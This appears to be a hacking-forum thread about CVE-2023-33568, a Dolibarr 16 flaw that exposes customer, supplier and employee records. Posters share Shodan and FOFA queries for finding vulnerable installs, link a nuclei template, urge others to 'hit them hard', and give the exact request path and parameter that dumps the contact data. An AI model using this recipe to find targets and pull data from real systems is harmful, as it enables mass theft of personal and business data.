Local CVE-2023-33568

[Zodiac]

An issue in Dolibarr 16 before 16.0.5 allows user to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.

shodan-query: http.favicon.hash:440258421
nuclei-templates is out, lets hit them hard

url - https://github.com/projectdiscovery/nuclei-templates/pull/7488/files

 

[Zodiac]

An issue in Dolibarr 16 before 16.0.5 allows user to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.

shodan-query: http.favicon.hash:440258421
nuclei-templates is out, lets hit them hard

url - https://github.com/projectdiscovery/nuclei-templates/pull/7488/files

anyone see exploit + scanner lying around ?

 

[unknow2156]

anyone see exploit + scanner lying around ?

This vulnerability works in series 16 versions
use fofa: FOFA Query: app="Dolibarr"
You just need to add this after the url
/public/ticket/ajax/ajax.php?action=getContacts&email=%